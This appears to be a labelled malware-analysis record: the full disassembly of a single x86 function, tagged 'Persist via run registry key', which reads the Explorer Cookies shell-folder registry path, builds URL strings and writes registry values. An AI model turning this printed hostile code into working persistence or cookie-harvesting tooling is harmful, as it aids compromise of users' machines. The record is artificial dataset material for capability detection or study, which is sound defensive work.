Function at 0x4057e7
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 4], 0
push 8
call fcn.0040b2d4
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x4a8c4f
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_FoldersCookies
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x40dac0
call fcn.0040b2da
add esp, 0x28
mov dword [ebp - 0x20], eax
push 0x4a93e1
push dword [ebp - 0x20]
mov ecx, 2
call fcn.00401a13
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x405890
push ebx
call fcn.0040b2ce
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4058a4
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00405ede
mov ebx, dword [ebp - 8]
call fcn.0040116e
xor ecx, ecx
push eax
lea eax, [ebp - 0xc]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x405dbe
mov ebx, dword [ebp - 8]
call fcn.00401187
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x4058f3
push 4
call fcn.0040b2ec
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405906
push 1
call fcn.0040b2ec
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
mov eax, 0x4a93e3
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, 0x4a93e5
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
call fcn.004060ef
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x405941
push ebx
call fcn.0040b2ce
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x405951
push ebx
call fcn.0040b2ce
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x405965
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0x4a8c3d
push dword [ebp - 0x10]
call fcn.004011ce
add esp, 8
cmp eax, 0
je 0x405db6
push 1
push 1
lea eax, [ebp - 0x10]
push eax
push 0x1601000f
push 0x52010004
call fcn.00406295
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x405db6
mov ebx, dword [ebp - 8]
call fcn.00401187
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x4059c6
push 4
call fcn.0040b2ec
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4059d9
push 1
call fcn.0040b2ec
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push 0x4a93e7
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push dword [ebp - 4]
mov ecx, 3
call fcn.00401a13
add esp, 0xc
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040635f
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x405a1e
push ebx
call fcn.0040b2ce
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x405a32
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push connect
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4a93ec
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x405a67
mov eax, 0x4a8c3d
push eax
push 4
mov ebx, 0x40bbb0
call fcn.0040b2da
add esp, 0x34
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x405a95
mov eax, 0x4a8c3d
push eax
push 2
mov ebx, 0x40b960
call fcn.0040b2da
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x405abf
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405ad6
mov eax, 0x4a8c3d
push eax
push 1
mov ebx, 0x40b840
call fcn.0040b2da
add esp, 0x10
mov dword [ebp - 0x20], eax
push connect
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4a93ee
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405b1d
mov eax, 0x4a8c3d
push eax
push 4
mov ebx, 0x40bbd0
call fcn.0040b2da
add esp, 0x34
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp - 0x24]
fstp qword [ebp - 0x34]
fsub qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004011a7
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405b6b
mov eax, 0x4a8c3d
push eax
push 2
mov ebx, 0x40b9a0
call fcn.0040b2da
add esp, 0x1c
mov dword [ebp - 0x40], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x40]
test eax, eax
jne 0x405b94
mov eax, 0x4a8c3d
push eax
push 1
mov ebx, 0x40c050
call fcn.0040b2da
add esp, 0x10
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x405bba
push ebx
call fcn.0040b2ce
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x405bce
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405be5
mov eax, 0x4a8c3d
push eax
push 1
mov ebx, 0x40b840
call fcn.0040b2da
add esp, 0x10
mov dword [ebp - 0x28], eax
fild dword [ebp - 0x28]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fsub qword [0x4a8d2a]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.004011a7
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405c30
mov eax, 0x4a8c3d
push eax
push 2
mov ebx, 0x40b960
call fcn.0040b2da
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x405c5a
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 1
push 1
lea eax, [ebp - 0x18]
push eax
push 0x1601000f
push 0x52010004
call fcn.00406295
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x405db6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405c98
mov eax, 0x4a8c3d
push eax
push 1
mov ebx, 0x40b840
call fcn.0040b2da
add esp, 0x10
mov dword [ebp - 0x20], eax
push connect
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4a93f1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405cdf
mov eax, 0x4a8c3d
push eax
push 4
mov ebx, 0x40bbd0
call fcn.0040b2da
add esp, 0x34
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp - 0x24]
fstp qword [ebp - 0x34]
fsub qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004011a7
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x405d2d
mov eax, 0x4a8c3d
push eax
push 2
mov ebx, 0x40b9a0
call fcn.0040b2da
add esp, 0x1c
mov dword [ebp - 0x40], eax
push dword [ebp - 0x40]
push str.http:__
mov ecx, 2
call fcn.00401a13
add esp, 8
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x405d6b
push ebx
call fcn.0040b2ce
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x405d7f
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4a93fb
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
mov ecx, 3
call fcn.00401a13
add esp, 0xc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405db2
push ebx
call fcn.0040b2ce
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
pop eax
pop ebx
pop ecx
jmp 0x4058c8
add esp, 0xc
push 0x4a8c3d
push dword [ebp - 0x1c]
call fcn.004011ce
add esp, 8
cmp eax, 0
je 0x405e45
push 0x4a9400
push dword [ebp - 0x1c]
push 0x4a944f
mov ecx, 3
call fcn.00401a13
add esp, 0xc
mov dword [ebp - 0x20], eax
push reloc.WS2_32.dll_connect
push 0
push 0x4a947a
push 0x80000301
push 0
push 0x30
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x405e22
mov eax, 0x4a8c3d
push eax
push 3
mov ebx, 0x40dae0
call fcn.0040b2da
add esp, 0x28
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x405e45
push ebx
call fcn.0040b2ce
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x405e55
push ebx
call fcn.0040b2ce
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x405e73
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x405e6f
imul eax, dword [ebx]
jmp 0x405e64
mov ecx, eax
test ecx, ecx
je 0x405e92
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x405e8b
push ebx
push eax
call fcn.0040b2ce
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x405e79
call fcn.0040b2ce
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x405eaa
push ebx
call fcn.0040b2ce
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x405eba
push ebx
call fcn.0040b2ce
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x405eca
push ebx
call fcn.0040b2ce
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405eda
push ebx
call fcn.0040b2ce
add esp, 4
mov esp, ebp
pop ebp
ret